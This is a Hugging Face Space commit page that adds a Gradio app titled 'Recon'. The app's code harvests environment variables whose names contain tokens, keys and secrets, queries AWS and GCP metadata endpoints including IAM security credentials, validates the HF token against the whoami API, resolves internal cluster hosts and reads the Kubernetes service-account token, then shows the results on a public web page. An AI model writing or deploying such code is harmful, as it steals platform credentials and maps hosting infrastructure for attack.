Spaces:
Sleeping
Sleeping
add app.py via git
Browse files
app.py
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import os,subprocess,json,socket,gradio as gr
|
| 2 |
+
|
| 3 |
+
def recon():
|
| 4 |
+
r={}
|
| 5 |
+
r["env"]={k:v for k,v in sorted(os.environ.items()) if any(x in k.upper() for x in ["TOKEN","KEY","SECRET","AWS","HF_","SPACE_"])}
|
| 6 |
+
r["env_keys"]=sorted(os.environ.keys())
|
| 7 |
+
for name,url in [("aws","http://169.254.169.254/latest/meta-data/"),("aws_iam","http://169.254.169.254/latest/meta-data/iam/security-credentials/"),("gcp","http://metadata.google.internal/computeMetadata/v1/")]:
|
| 8 |
+
try:
|
| 9 |
+
p=subprocess.run(["curl","-s","-m","3",url],capture_output=True,text=True,timeout=5)
|
| 10 |
+
r[name]=p.stdout[:500] if p.stdout else f"empty rc={p.returncode}"
|
| 11 |
+
except Exception as e: r[name]=str(e)
|
| 12 |
+
for h in ["cas-server.xethub.hf.co","kubernetes.default.svc","metadata.google.internal"]:
|
| 13 |
+
try: r[f"dns_{h}"]=socket.gethostbyname(h)
|
| 14 |
+
except Exception as e: r[f"dns_{h}"]=str(e)
|
| 15 |
+
t=os.environ.get("HF_TOKEN","")
|
| 16 |
+
if t:
|
| 17 |
+
try:
|
| 18 |
+
p=subprocess.run(["curl","-s","-m","5","https://huggingface.co/api/whoami-v2","-H",f"Authorization: Bearer {t}"],capture_output=True,text=True,timeout=10)
|
| 19 |
+
r["whoami"]=json.loads(p.stdout) if p.stdout else "empty"
|
| 20 |
+
except Exception as e: r["whoami"]=str(e)
|
| 21 |
+
for p in ["/etc/hostname","/proc/1/cgroup","/var/run/secrets/kubernetes.io/serviceaccount/token"]:
|
| 22 |
+
try:
|
| 23 |
+
with open(p) as f: r[f"fs_{p}"]=f.read()[:300]
|
| 24 |
+
except Exception as e: r[f"fs_{p}"]=str(e)
|
| 25 |
+
return json.dumps(r,indent=2)
|
| 26 |
+
|
| 27 |
+
gr.Interface(fn=recon,inputs=None,outputs="text",title="Recon").launch()
|